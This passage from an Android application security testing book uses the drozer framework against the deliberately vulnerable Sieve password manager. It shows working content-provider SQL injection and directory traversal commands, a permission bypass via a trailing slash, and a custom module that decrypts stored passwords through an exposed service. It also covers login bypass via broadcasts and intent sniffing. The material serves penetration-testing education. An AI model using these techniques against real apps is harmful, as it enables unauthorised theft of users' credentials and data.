This reveals that two content providers don’t require any permissions for users who want to read from or write to them. However, the DBContentProvider requires that users have permissions to read from or write to the /Keys path.

The output of this module does not give the exact full content URIs that can be queried. However, a good starting point would be to try the root path and defined /Keys path. For a view of all the available paths, review the implemented query()method and peripheral source code for the content provider or use the app.provider.finduri module in drozer. This module is not comprehensive and checks only for strings inside that DEX file that begin with content://. This check may miss the large majority of available paths and should not be relied upon. Running it against the Sieve package reveals the following content URIs:

dz> run app.provider.finduri com.mwr.example.sieve 
Scanning com.mwr.example.sieve... 
content://com.mwr.example.sieve.DBContentProvider/ 
content://com.mwr.example.sieve.FileBackupProvider/ 
content://com.mwr.example.sieve.DBContentProvider 
content://com.mwr.example.sieve.DBContentProvider/Passwords/ 
content://com.mwr.example.sieve.DBContentProvider/Keys/ 
content://com.mwr.example.sieve.FileBackupProvider 
content://com.mwr.example.sieve.DBContentProvider/Passwords 
content://com.mwr.example.sieve.DBContentProvider/Keys 

In this case it did a good job of finding available content URI paths; however, you should not get into the habit of relying solely on it. Running this module led to the discovery of a completely new path that you could not have anticipated by observing the initial information on the content provider. The newly discovered path is /Passwords. This does not have any permissions protecting it, and querying this URI leads to the disclosure of all the accounts stored in this password manager. Here is the command for querying this content URI:

dz> run app.provider.query 
content://com.mwr.example.sieve.DBContentProvider/Passwords 
| _id | service          | username  | password   | email            | 
| 1   | Gmail            | tyrone    | zA76WR9mURDNNEw4TUiidVKRuKLEamg5h 
84T (Base64-encoded)     | tyrone@gmail.com | 
| 2   | Internet Banking | tyrone123 | 
VJL7zoQdEeyeYQB2/DArlNv3G1m+fpWCEkg3TFUpUUti (Base64-encoded) | 
tyrone@gmail.com | 

This leaks all the password entries for each of the corresponding services in this content provider. The developer of this application was clever and encrypted or obfuscated the password field. This encryption is implementation-specific and was explicitly added by the developer. Sometimes encryption is not used at all and access to sensitive information is obtained directly.

An interesting idea for an attacker would be to insert new entries or update existing ones in another application’s content provider. This could open new attack avenues depending on what the application database is used for. To insert a new entry into the content provider shown previously, you can use the app .provider.insert module in drozer. The following code demonstrates how to add a new entry to Sieve’s password database:

dz> run app.provider.insert content://com.mwr.example.sieve 
.DBContentProvider/Passwords  --integer _id 3 
--string service Facebook --string username tyrone 
--string password zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T 
--string email tyrone@gmail.com 
Done. 

The Facebook service is now added using the app.provider.insert command and was added with the same password as the Gmail service (whatever that may be).

All content providers whether they are exported or not can be queried from a privileged context. To find content providers inside the default Android Clock package that have not been exported, you can use the -u flag on app.provider .info:

dz> run app.provider.info -a com.android.deskclock -u 
Package: com.android.deskclock 
  Exported Providers: 
  Hidden Providers: 
  Authority: com.android.deskclock 
    Read Permission: null 
    Write Permission: null 
    Content Provider: com.android.deskclock.provider.ClockProvider 
    Multiprocess Allowed: False 
    Grant Uri Permissions: False 

Confirming this in the application manifest reveals that this content provider is explicitly not exported.

<provider name=".provider.ClockProvider" 
          exported="false" 
          authorities="com.android.deskclock"> 

Attempting to query this content provider from drozer results in an error saying that it is not exported.

dz> run app.provider.query content://com.android.deskclock/alarms/ 
Permission Denial: opening provider com.android.deskclock.provider.Clock 
Provider from ProcessRecord{b2084228 1741:com.mwr.dz:remote/u0a64} 
(pid=1741, uid=10064) that is not exported from uid 10020 

However, querying the same content provider from a root ADB shell is successful.

root@generic:/ # content query --uri content://com.android.deskclock/ala 
rms/ 
Row: 0 _id=1, hour=8, minutes=30, daysofweek=31, enabled=0, vibrate=0, l 
abel=, ringtone=NULL, delete_after_use=0 
Row: 1 _id=2, hour=9, minutes=0, daysofweek=96, enabled=0, vibrate=0, la 
bel=, ringtone=NULL, delete_after_use=0 

The attack vector in this case may be limited but it may be interesting to know.

SQL Injection

A commonly implemented technique with content providers is to connect them directly with an SQLite database. This makes sense because the structures and methods used on content providers—with methods like insert, update, delete, and query (which may be akin to select statements)—feel very similar to SQL’s. If you are familiar with finding vulnerabilities in web applications, you may immediately know what is coming. If input into a content provider that is backed by an SQLite database is not sanitized or white-listed appropriately, then it may be vulnerable to SQL injection—injecting arbitrary SQL commands in a variable that is used inside a SQL statement. In the following code, examine the arguments of a query method on a content provider:

final Cursor query( 
       Uri uri, 
       String[] projection, 
       String selection, 
       String[] selectionArgs, 
       String sortOrder); 

The uri is the full path of the content URI being queried. The following format is expected of a content URI:

content://authority/path. 

The rest of the parameters can be better explained by using them inside a SQL query:

select projection from table_name(uri) where selection=selectionArgs ord 
er by sortOrder 

This means that the following arguments in the query method may result in the following SQL query:

final Cursor query( 
       Uri.parse("content://settings/system"), 
       null, 
       null, 
       null, 
       null); 

Query: select * from system

Attempting a SQL injection attack in the projection parameter looks as follows:

final Cursor query( 
       Uri.parse("content://settings/system"), 
       new String[] {"* from sqlite_master--"}, 
       null, 
       null, 
       null); 

Query: select * from sqlite_master--* from system

The dash characters appended to the projection ensure that the rest of the query is commented out and a valid query is still formed by this injection. Now try to find whether a SQL injection exists in the /Passwords path in the DBContentProvider of Sieve. First look to determine whether an injection point exists in the projection parameter.

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProv 
ider/Passwords --projection "'" 
unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELE 
CT ' FROM Passwords 

Injecting a single quote into the projection causes an error in the structure of the query that SQLite received. You can now use this injection point to find all the tables available in the same SQLite database by using a projection of * from sqlite_master where type='table'--. This is shown in the following code snippet:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProv 
ider/Passwords --projection "* from sqlite_master where type='table'--" 
| type  | name             | tbl_name         | rootpage | sql         | 
| table | android_metadata | android_metadata | 3        | CREATE TABLE 
android_metadata (locale TEXT)                                         | 
| table | Passwords        | Passwords        | 4        | CREATE TABLE 
Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password 
BLOB,email ) | 
| table | Key              | Key              | 5        | CREATE TABLE 
Key (Password TEXT PRIMARY KEY,pin TEXT ) 

Any one of the available tables can now be queried. Remember the /Keys path that required a permission in order to read? The associated “Key” table can now be extracted using the injection point:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProv 
ider/Passwords --projection "* from Key--" 
| Password                | pin  | 
| Thisismylongpassword123 | 1234 | 

This shows a complete compromise of the password manager’s master password and pin used to protect the data. This is an old web vulnerability that now can exist in Android applications implementing content providers.

You can automate the detection of SQL injection vulnerabilities using drozer in conjunction with the scanner.provider.injection module.

dz> run scanner.provider.injection -a content://com.mwr.example.sieve.DB 
ContentProvider/Passwords 
... 
 
Injection in Projection: 
  content://com.mwr.example.sieve.DBContentProvider/Passwords 
 
Injection in Selection: 
  content://com.mwr.example.sieve.DBContentProvider/Passwords 

You can also automatically find the available tables to query in drozer.

dz> run scanner.provider.sqltables -a content://com.mwr.example.sieve.DB 
ContentProvider/Passwords 
Accessible tables for uri content://com.mwr.example.sieve.DBContentProvi 
der/Passwords: 
  android_metadata 
  Passwords 
  Key

File-Backed Content Providers

Implementing a content provider that allows other applications to retrieve files in a structured and secure way is possible. However, the mechanisms for doing so can be prone to vulnerabilities that allow the retrieval of arbitrary files under the UID of the content provider’s application. You can programmatically create these content providers by implementing a public ParcelFileDescriptor openFile(Uri, String) method. If the URI being requested is not strictly validated against a whitelist of allowed files or folders, this opens up the application to attack. An easy way to check whether a content provider allows the retrieval of any file is by requesting the /system/etc/hosts file, which always exists and is word readable on Android devices. The following example shows how to exploit one such content provider in Sieve to retrieve /system/etc/hosts:

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProv 
ider/system/etc/hosts 
 
127.0.0.1            localhost 

This example shows that you are not restricted to only querying intended files and can request any file on the filesystem that Sieve has access to. Depending on the application, different files may be deemed good targets. In the case of the Sieve application, the most important file it can access is its database that holds all the passwords and application configuration. This is located in the private data directory of the application in the /databases/ folder.

root@android:/ # ls /data/data/com.mwr.example.sieve/databases/ 
database.db 
database.db-journal 

Next you can attempt to read this file from drozer, which should not be able to access it at all:

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProv 
ider/data/data/com.mwr.example.sieve/databases/database.db > database.db 

This exploit works and the file is transferred from the content provider to your local computer using this vulnerability. Dumping the contents of this database reveals all of its data, including the master password and pin. To verify this, use the sqlite3 tool to view the contents:

$ sqlite3 database.db .dump 
PRAGMA foreign_keys=OFF; 
BEGIN TRANSACTION; 
CREATE TABLE android_metadata (locale TEXT); 
INSERT INTO "android_metadata" VALUES('en_US'); 
CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TE 
XT,password BLOB,email ); 
INSERT INTO "Passwords" VALUES(1,'Gmail','tyrone',X'CC0EFA591F665110CD34 
4C384D48A2755291B8A2C46A683987CE13','tyrone@gmail.com'); 
INSERT INTO "Passwords" VALUES(2,'Internet Banking','tyrone123',X'5492FB 
CE841D11EC9E610076FC302B94DBF71B59BE7E95821248374C5529514B62','tyrone@gm 
ail.com'); 
CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT ); 
INSERT INTO "Key" VALUES('Thisismylongpassword123','1234'); 
COMMIT; 

If the URI path provided to the openFile()function had been prepended with a static path in code that confined it to the /data/data/com.mwr.example.sieve/ directory, how would you retrieve this file? Our intention in this code is to restrict file reads to a certain directory only. In this case it may be possible to traverse out of the given directory and access any file if the code does not properly perform proper input validation. If a prepended path existed on the FileBackupProvider, you could use a directory traversal attack as follows to still retrieve database.db:

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProv 
ider/../../../../data/data/com.mwr.example.sieve/databases/database.db > 
database.db 

The appropriate amount of traverses would have to be determined by trial and error or by examining the source code of the content provider.

A scanner module in drozer allows you to detect directory traversal attacks against file-backed content providers as shown here:

dz> run scanner.provider.traversal -a content://com.mwr.example.sieve.Fi 
leBackupProvider 
... 
 
Vulnerable Providers: 
  content://com.mwr.example.sieve.FileBackupProvider 

Pattern-Matching Flaws

In all aspects of computer security, logic flaws can exist. Rewinding back to where we discovered information about the Sieve content providers, have a look again at the type of comparison being used to define a permission on the /Keys path:

  Authority: com.mwr.example.sieve.DBContentProvider 
    Read Permission: null 
    Write Permission: null 
    Content Provider: com.mwr.example.sieve.DBContentProvider 
    Multiprocess Allowed: True 
    Grant Uri Permissions: False 
    Path Permissions: 
      Path: /Keys 
        Type: PATTERN_LITERAL 
        Read Permission: com.mwr.example.sieve.READ_KEYS 
        Write Permission: com.mwr.example.sieve.WRITE_KEYS 

The comparison is done using a literal check. You can find the original form of this check that drozer parsed out in the following snippet of Sieve’s manifest:

<provider name=".DBContentProvider" 
              exported="true" 
              multiprocess="true" 
              authorities="com.mwr.example.sieve.DBContentProvider"> 
      <path-permission readPermission="com.mwr.example.sieve.READ_KEYS" 
                       writePermission="com.mwr.example.sieve.WRITE_KEYS" 
                       path="/Keys"> 
      </path-permission> 
    </provider> 

On the <path-permission> tag, the path attribute was used. The definition of the path attribute is as follows from http://developer.android.com/guide/topics/manifest/path-permission-element.html:


A complete URI path for a subset of content provider data. Permission can be granted only to the particular data identified by this path...


The key word in this definition is particular. This means that only the /Keys path is being protected by this permission. What about the /Keys/ path? Querying the /Keys path you get a permission denial:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProv 
ider/Keys 
Permission Denial: reading com.mwr.example.sieve.DBContentProvider uri 
content://com.mwr.example.sieve.DBContentProvider/Keys from pid=1409, 
 uid=10059 requires com.mwr.example.sieve.READ_KEYS, or 
 grantUriPermission() 

But when you query the /Keys/ path you get the following:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProv 
ider/Keys/ 
| Password                | pin  | 
| Thisismylongpassword123 | 1234 | 

This specific path including the appended slash was not protected by that permission. This is because a literal comparison was used when there were other valid forms that reached the same data. Many other different types of pattern-matching flaws could exist in an application that the reader would have to assess on a case-by-case basis; however, this serves as an easy introduction to this vulnerability class on Android.

Attacking Insecure Services

Services are often used to run code inside an application that is important to keep running, even when the application is not in the foreground. This scenario may apply to many applications or simply be used by a developer for good application lifecycle management. Services can be started in a similar way to activities, with an intent. These types of services can perform long-running tasks in the background. However, a second mode of operation, which allows an application to bind to the service and pass messages to and from them over the sandbox, also exists. This section explores attacking both of these types of services.

Unprotected Started Services

If a service is exported, either explicitly or implicitly, other applications on the device can interact with it. Started services are ones that implement the onStartCommand() method inside its class. This method receives intents destined for this service from applications and may be a source of vulnerabilities for an attacker. This is completely dependent on what the code does inside this function. The code may perform an unsafe task even just by being started or may use parameters that are sent and when certain conditions take place, perform an unexpected action. This may seem like high-level information but it is because simply too many types of problems exist that code could exhibit to mention here. The only way you can ferret out such problems is by reading the code to understand what it is doing and find whether the potential exists to abuse it in some way. To interact with started services use the app.service.start module in drozer.

In a similar way to other application components, you can start and stop services from a privileged context even when they are not exported. You can do this by making use of the startservice and stopservice features of the am utility.

Unprotected Bound Services

Bound services provide a mechanism for applications on a device to interconnect directly with each other using remote procedure calls (RPCs). Bound services implement the onBind() method inside their service class. This method must return an IBinder, which is part of the remote procedure call mechanism. An application can implement a bound service in three ways, only two of which the application can use over the sandbox. These are as follows:

  • Extending the Binder class—By returning an instance of the service class in the onBind method, it provides the caller with access to public methods within the class. However, this is not possible across the sandbox and can only be bound to by other parts of the same application’s code that is running in the same process.
  • Using a messenger—By returning the IBinder of a Messenger class that has implemented a handler, the applications can send messages between each other. These messages are defined by the Message class. As part of a Message object, a “message code,” which is defined as the what variable, is specified and compared against predefined values in the class’s handler code to perform different actions according to this value. Sending arbitrary objects inside the Message object that can be used by the receiving code is also possible. However, there is no direct interaction with methods when using this technique.
  • Using AIDL (Android Interface Definition Language)—Makes methods in an application available to other applications over the sandbox using Inter-Process Communication (IPC). It performs marshalling of common Java types and abstracts the implementation from the user. The way that developers use AIDL is by populating .aidl files in the source code folder that contains information that defines an interface and during compilation time generates a Binder interface from these files. This essentially converts the human-friendly .aidl files into a Java class that can be invoked from code. Applications that have bound to a service of this nature with the correct Binder class generated from the same AIDL can make use of the remote methods available. Entire objects of custom classes can be sent using this method, as long as both the client and service have the code of this class available and the class implements the Parcelable protocol. You can explore this deeply technical method further in its documentation at http://developer.android.com/guide/components/aidl.html. In our experience, very few application developers attempt to make use of AIDL, simply because it is difficult to use and often not necessary. For the large majority of cases, using a messenger instead of AIDL is easier and provides all that is needed to communicate across applications.

You can find the official documentation on bound services at http://developer .android.com/guide/components/bound-services.html.

Attacking a Messenger Implementation

The attack surface of each service depends on what is being exposed by the technique in use. The easiest starting point for examining bound services making use of messengers is reading the handleMessage() method in the service code. This tells you what kinds of messages are expected and how the application executes different functions accordingly. After you discover an attack path, you can investigate and interact with it from drozer using the app.service.send module. The Sieve application contains two exposed services that both implement messengers. We discovered this by first finding these services and then reading their classes and checking which one of the explained techniques was applied.

dz> run app.service.info -a com.mwr.example.sieve 
Package: com.mwr.example.sieve 
  com.mwr.example.sieve.AuthService 
    Permission: null 
  com.mwr.example.sieve.CryptoService 
    Permission: null 

Looking at the AuthService source code reveals that it deals with the checking of passwords and PIN codes entered by the application. The following shows some important constants defined and a commented high-level view of the source code of the handleMessage()function:

... 
static final int MSG_CHECK = 2354; 
static final int MSG_FIRST_LAUNCH = 4; 
static final int MSG_SET = 6345; 
... 
 
public void handleMessage(Message r9_Message) { 
    ... 
    Bundle r0_Bundle = (Bundle) r9_Message.obj; 
    ... 
    switch (r9_Message.what) { 
        case MSG_FIRST_LAUNCH: 
            ... 
            //Check if pin and password are set 
            ... 
        case MSG_CHECK: 
            ... 
            if (r9_Message.arg1 == 7452) { 
                ... 
                //Return pin 
                //Requires password from bundle 
                ... 
                } 
            } else if (r9_Message.arg1 == 9234) { 
                ... 
                //Returns password 
                //Requires pin from bundle 
                ... 
                } 
            } else { 
                sendUnrecognisedMessage(); 
                return; 
            } 
            ... 
        case MSG_SET: 
            if (r9_Message.arg1 == 7452) { 
                ... 
                //Set password 
                //Requires current password from bundle 
                ... 
            } else if (r9_Message.arg1 == 9234) { 
                ... 
                //Set pin 
                //Requires current pin from bundle 
                ... 
                } 
            } else { 
                sendUnrecognisedMessage(); 
                return; 
            } 
            ... 
    } 
    ... 
} 

Earlier in this chapter we noted that the Sieve application encrypts each of the passwords in its database. Further investigation of the code used to encrypt these passwords would reveal that the master key for the application is used as direct input to the key for the AES algorithm that is used. If no other vulnerability exists in Sieve that allows the retrieval of the password or pin, the AuthService could still be abused for this informationin particular, the code path that allows another application to retrieve the password if the pin is provided. The following shows this attack in drozer:

dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve 
.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve 
.PIN 1234 --bundle-as-obj 
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve 
.AuthService: 
  what: 5 
  arg1: 41 
  arg2: 0 
  Extras 
    com.mwr.example.sieve.PASSWORD (String) : Thisismylongpassword123 

The password was successfully retrieved. If an attacking application did not know the PIN code, it could comfortably brute-force this value because it is only four characters long. This attack could be performed manually or in an automated fashion by an application. Sending an incorrect pin of 7777 yields the following response, which only reflects the entered pin:

dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve 
.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve 
.PIN 7777 --bundle-as-obj 
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve 
.AuthService: 
  what: 5 
  arg1: 41 
  arg2: 1 
  Extras 
    com.mwr.example.sieve.PIN (String) : 7777 

The differences in responses to a valid PIN and an invalid PIN make it possible for an automated brute-forcer to know when it stumbles upon the correct PIN. The CryptoService service exposed by Sieve takes input and uses the provided key to encrypt or decrypt the data. Here is a view of the code that handles this:

... 
public static final String KEY = "com.mwr.example.sieve.KEY"; 
public static final int MSG_DECRYPT = 13476; 
public static final int MSG_ENCRYPT = 3452; 
public static final String PASSWORD = "com.mwr.example.sieve.PASSWORD"; 
public static final String RESULT = "com.mwr.example.sieve.RESULT"; 
public static final String STRING = "com.mwr.example.sieve.STRING"; 
... 
public void handleMessage(Message r7_Message) { 
        ... 
        Bundle r0_Bundle = (Bundle) r7_Message.obj; 
        switch (r7_Message.what) { 
            case MSG_ENCRYPT: 
                r0_Bundle.putByteArray(RESULT, 
                CryptoService.this.encrypt( 
                r0_Bundle.getString(KEY), 
                r0_Bundle.getString(STRING))); 
                ... 
            case MSG_DECRYPT: 
                r0_Bundle.putString(RESULT, 
                CryptoService.this.decrypt( 
                r0_Bundle.getString(KEY), 
                r0_Bundle.getByteArray(PASSWORD))); 
                ... 
        } 
        ... 
    } 
} 

To encrypt a string using this service, the what parameter should be 3452 and the com.mwr.example.sieve.KEY and com.mwr.example.sieve.STRING values should be part of the bundle sent. Use drozer to test an encryption operation as follows:

dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve 
.CryptoService --msg 3452 2 3 --extra string com.mwr.example.sieve 
.KEY testpassword --extra string com.mwr.example.sieve.STRING "string to 
be encrypted" --bundle-as-obj 
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve 
.CryptoService: 
  what: 9 
  arg1: 91 
  arg2: 2 
  Extras 
    com.mwr.example.sieve.RESULT (byte[]) : [89, 95, -78, 115, -23, 
 -50, -34, -30, -107, -1, -41, -35, 0, 7, 94, -77, -73, 90, -6, 79, 
 -60, 122, -12, 25, -118, 62, -3, -112, -94, 34, -41, 14, -126, -101, 
 -48, -99, -55, 10] 
    com.mwr.example.sieve.STRING (String) : string to be encrypted 
    com.mwr.example.sieve.KEY (String) : testpassword 

A byte array is returned with the ciphertext. Interacting with this service’s decryption functionality is tricky because the code expects a byte array containing the encrypted password (as com.mwr.example.sieve.PASSWORD). The sending of byte arrays is not directly supported from drozer’s app.service.send module; you have to create your own module to do the job. Here is an example module to do this:

import base64 
 
from drozer import android 
from drozer.modules import common, Module 
 
class Decrypt(Module, common.ServiceBinding): 
 
    name = "Decrypt Sieve passwords" 
    description = "Decrypt a given password with the provided key" 
    examples = "" 
    author = "MWR InfoSecurity (@mwrlabs)" 
    date = "2014-07-22" 
    license = "BSD (3 clause)" 
    path = ["exploit", "sieve", "crypto"] 
    permissions = ["com.mwr.dz.permissions.GET_CONTEXT"] 
 
    def add_arguments(self, parser): 
        parser.add_argument("key", help="AES key") 
        parser.add_argument("base64_ciphertext", help= 
        "the base64 ciphertext string to be decrypted") 
 
    def execute(self, arguments): 
 
        # Create a bundle with the required user input 
        bundle = self.new("android.os.Bundle") 
        bundle.putString("com.mwr.example.sieve.KEY", arguments.key) 
        bundle.putByteArray("com.mwr.example.sieve.PASSWORD", 
        self.arg(base64.b64decode(arguments.base64_ciphertext), 
        obj_type="data")) 
 
        # Define service endpoint and parameters 
        binding = self.getBinding("com.mwr.example.sieve", 
                  "com.mwr.example.sieve.CryptoService") 
        binding.setBundle(bundle) 
        binding.setObjFormat("bundleAsObj") 
 
        # Send message and receive reply 
        msg = (13476, 1, 1) 
        if binding.send_message(msg, 5000): 
            self.stdout.write("%s\n" % binding.getData()) 
        else: 
            self.stderr.write("An error occured\n")

The user’s encrypted Gmail password retrieved from exploiting the content provider earlier was zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T. Testing this module with this value and the master password yields the following result:

dz> run exploit.sieve.crypto.decrypt Thisismylongpassword123 zA76WR9mURD 
NNEw4TUiidVKRuKLEamg5h84T 
Extras 
  com.mwr.example.sieve.PASSWORD (byte[]) : [-52, 14, -6, 89, 31, 102, 
  81, 16, -51, 52, 76, 56, 77, 72, -94, 117, 82, -111, -72, -94, 
  -60, 106, 104, 57, -121, -50, 19] 
  com.mwr.example.sieve.RESULT (String) : password123 
  com.mwr.example.sieve.KEY (String) : Thisismylongpassword123 

The user’s Gmail password is shown in the com.mwr.example.sieve.RESULT value as password123.

When using bound services, you may, depending on a multitude of factors, have to write custom code. Each developer implements small things differently, like how the Bundle is retrieved from the Message object. The default way in which drozer expects that an application will receive its Bundle is by using the getData() method on the Message object. However, some developers may use a different way to do this. For instance, Sieve casts the obj attribute of the Message object directly to a Bundle. This means that if the correct method is not used when sending the message to the bound service, it will result in strange errors such as null pointer exceptions.

Sieve uses the following code to receive its Bundle:

Bundle r0_Bundle = (Bundle) r9_Message.obj; 

This means that when using the app.service.send module, you need to use the --bundle-as-obj flag.

Attacking an AIDL Implementation

Services that make use of AIDL are some of the most cumbersome aspects to test on Android applications because the client that connects to the service needs to be custom written each time. The tester must generate a class that implements the Binder interface by using its AIDL file. To convert this file from a .aidl file into a .java file you use the aidl binary that comes in the build-tools folder in the Android SDK:

$ ./aidl /path/to/service.aidl 

After compiling this to a Java source file, you can import it into a custom application for testing or class-loaded inside drozer. Class-loading is easy inside drozer; here is a simple example module (classloading.py):

from drozer.modules import common, Module 
from drozer.modules.common import loader 
 
class Classloading(Module, loader.ClassLoader): 
 
    name = "Classloading example" 
    description = "Classloading example" 
    examples = "" 
    author = ["Tyrone (MAHH)"] 
    date = "2014-07-29" 
    license = "BSD (3 clause)" 
    path = ["app", "test"] 
 
    def add_arguments(self, parser): 
        parser.add_argument("name", default=None, help="your name") 
 
    def execute(self, arguments): 
        # Class load the new class - this will be automatically compiled 
        classloadtest = self.loadClass("app/ClassLoadTest.apk", 
                        "ClassLoadTest") 
 
        # Create an instance of our class with name as argument 
        clt = self.new(classloadtest, arguments.name)
 
        # Invoke Java function! 
        print clt.sayHello() 

The class that was loaded in the previous code is written in Java and named ClassLoadTest.java. It is very basic and allows you to instantiate it with a name and contains a method that returns a friendly message containing the name. This is shown here:

public class ClassLoadTest 
{ 
    String name; 
 
    public ClassLoadTest(String n) 
    { 
        this.name = n; 
    } 
 
    public String sayHello() 
    { 
        return "Hi " + this.name + "!"; 
    } 
} 

By placing the Java file in the relative location specified in the self.loadClass() function, it will automatically get compiled and converted into an APK for use inside drozer. Running this new module in drozer is simple:

dz> run app.test.classloading Tyrone 
Hi Tyrone!

In our experience, the use of AIDL implementations in applications is extremely rare. Thus, we do not explore the issue further. You can find more information about interacting with AIDL services in the Google documentation at http://developer.android.com/guide/components/aidl.html.

Abusing Broadcast Receivers

Broadcast receivers have a variety of peculiarities and have functionality that one would not expect. Every day broadcast receivers could be used to provide a notification of some event or potentially pass some piece of information to multiple applications at the same time. This section explores all the attack avenues that end in reaching a broadcast receiver in some way.

Unprotected Broadcast Receivers

In the same way as all the other application components, broadcast receivers can specify a permission that the caller must hold in order to interact with it. If an application makes use of a custom broadcast receiver and does not specify a permission that the caller needs to hold, the application is exposing this component to abuse by other applications on the device. To find the broadcast receivers in an application, examine the manifest or the app.broadcast.info module in drozer:

dz> run app.broadcast.info -a com.android.browser 
Package: com.android.browser 
  com.android.browser.widget.BookmarkThumbnailWidgetProvider 
    Permission: null 
  com.android.browser.OpenDownloadReceiver 
    Permission: null 
  com.android.browser.AccountsChangedReceiver 
    Permission: null 
  com.android.browser.PreloadRequestReceiver 
    Permission: com.android.browser.permission.PRELOAD 

Applications can make use of the sendBroadcast()method and send broadcasts whose impact is determined completely by what code is run in the onReceive()method of the broadcast receivers that receive the sent intent. This applies in exactly the same way for broadcast receivers that have been registered at runtime using the registerReceiver()method. To discover broadcast receivers that have been registered at runtime you must search through the code of the application; drozer will not find them using the app .broadcast.info module.

A subtle difference exists in the way that the sending of broadcasts works in comparison to other application components. Broadcasts were intended to reach one or more recipients, unlike the sending of intents to other components which only ends up at a single recipient. This lead to the design decision that any application can broadcast an intent (as long as it’s not a predefined protected intent) and it is up to the broadcast receiver to specify what permission the source application must hold in order for the broadcast receiver to acknowledge this intent as valid. This also works the same in the other direction. When broadcasting an intent, you can specify that only applications that hold a certain permission can receive the intent.

Interestingly, an application’s broadcast receiver has no way of determining which application sent an intent to it. The information could be inferred in various ways; for instance, if making use of a permission with a protection level of signature it can be presumed that only another trusted application could have sent it. However, even this security feature is flawed under certain circumstances because of the Protection Level Downgrade Attack explained earlier in this chapter.

The following fictitious example demonstrates an application with a vulnerable broadcast receiver. You have to use some imagination here because Sieve does not contain any broadcast receivers. The application does the following:

  1. It has a login activity that accepts user credentials.
  2. This activity checks the entered credentials with a server on the Internet.
  3. If the credentials are correct, it sends a broadcast containing the action com.myapp.CORRECT_CREDS.
  4. A broadcast receiver with the following intent filter catches this intent:

    <receiver android:name=".LoginReceiver" 
              android:exported="true"> 
        <intent-filter> 
            <action android:name="com.myapp.CORRECT_CREDS" /> 
        </intent-filter> 
    </receiver> 
  5. If an intent arrives at the broadcast receiver with the correct action (com .myapp.CORRECT_CREDS), it starts an activity with authenticated content for the user.

What is wrong with the preceding scenario? The problem is that the whole login activity process can be bypassed by an attacker that broadcasts an intent with an action of com.myapp.CORRECT_CREDS. This can be done in the following way in drozer:

dz> run app.broadcast.send --action com.myapp.CORRECT_CREDS 

Now consider the scenario where the manifest declaration was updated by the developer and the broadcast receiver is no longer exported, which may look as follows:

<receiver android:name=".LoginReceiver" 
          android:exported="false"> 
</receiver> 

As with other application components, a privileged user can broadcast an intent to a component even if this application component is not exported in its manifest declaration. This means that an attacker making use of a privileged shell would be able to broadcast an intent and gain access to this application as an authenticated user. This could be done using:

root@android:/ # am broadcast -a com.myapp.CORRECT_CREDS -n com.myapp/ 
.LoginReceiver 

Intent Sniffing

Intent sniffing is when a broadcast receiver can register to receive broadcasts that may have been intended for other applications. This is possible because some applications broadcast intents and do not define a required permission that a broadcast receiver must hold in order to receive the intent or do not provide a destination package for the intent.

You can review the source code of an application in search of intents being sent using the sendBroadcast() method and then register a receiver that catches this information from a non-privileged application. You can catch these intents in drozer using the app.broadcast.sniff module. In some cases, the information being broadcasted may not be sensitive. An example of this is an intent frequently broadcasted on Android systems with an action of android.intent .action.BATTERY_CHANGED. This intent simply gives information about the state of the battery. Catching this intent in drozer looks like this:

dz> run app.broadcast.sniff --action android.intent.action 
.BATTERY_CHANGED 
[*] Broadcast receiver registered to sniff matching intents 
[*] Output is updated once a second. Press Control+C to exit. 
 
Action: android.intent.action.BATTERY_CHANGED 
Raw: Intent { act=android.intent.action.BATTERY_CHANGED flg=0x60000010 
(has extras) } 
Extra: icon-small=17303125 (java.lang.Integer) 
Extra: scale=100 (java.lang.Integer) 
Extra: present=true (java.lang.Boolean) 
Extra: technology=Li-ion (java.lang.String) 
Extra: level=53 (java.lang.Integer) 
Extra: voltage=4084 (java.lang.Integer) 
Extra: status=2 (java.lang.Integer) 
Extra: invalid_charger=0 (java.lang.Integer) 
Extra: plugged=2 (java.lang.Integer) 
Extra: health=2 (java.lang.Integer) 
Extra: temperature=301 (java.lang.Integer) 

Now tweak our fictitious example once more and say that the developer used a broadcast with an action of com.myapp.USER_LOGIN to relay the user’s typed-in credentials from the login screen to a broadcast receiver that launched authenticated activities. To emulate the sending of this broadcast, we are going to use am. The following am command represents the sending of this broadcast from the login activity in our fictitious application and contains the username and pin code for the application:

$ adb shell am broadcast -a com.myapp.USER_LOGIN --ez ALLOW_LOGIN true 
--es USERNAME tyrone --es PIN 2342 
Broadcasting: Intent { act=com.myapp.USER_LOGIN (has extras) } 
Broadcast completed: result=0 

Unbeknownst to the application developer, this broadcast can actually be received by any application that has registered a broadcast receiver with an intent filter for the com.myapp.USER_LOGIN action. Let’s emulate an unprivileged application and catch this intent using drozer:

dz> run app.broadcast.sniff --action com.myapp.USER_LOGIN 
[*] Broadcast receiver registered to sniff matching intents 
[*] Output is updated once a second. Press Control+C to exit. 
 
Action: com.myapp.USER_LOGIN 
Raw: Intent { act=com.myapp.USER_LOGIN flg=0x10 (has extras) } 
Extra: PIN=2342 (java.lang.String) 
Extra: ALLOW_LOGIN=true (java.lang.Boolean) 
Extra: USERNAME=tyrone (java.lang.String) 

The drozer module received this intent. The first tool that demonstrated the sniffing of intents from broadcasts was created by Jesse Burns of iSEC Partners. You can find it at https://www.isecpartners.com/tools/mobile-security/intent-sniffer.aspx. It employs some nifty techniques to gain coverage of as many intents as possible and works well when you need to test for intent sniffing vulnerabilities on all applications on a device at once.

Secret Codes

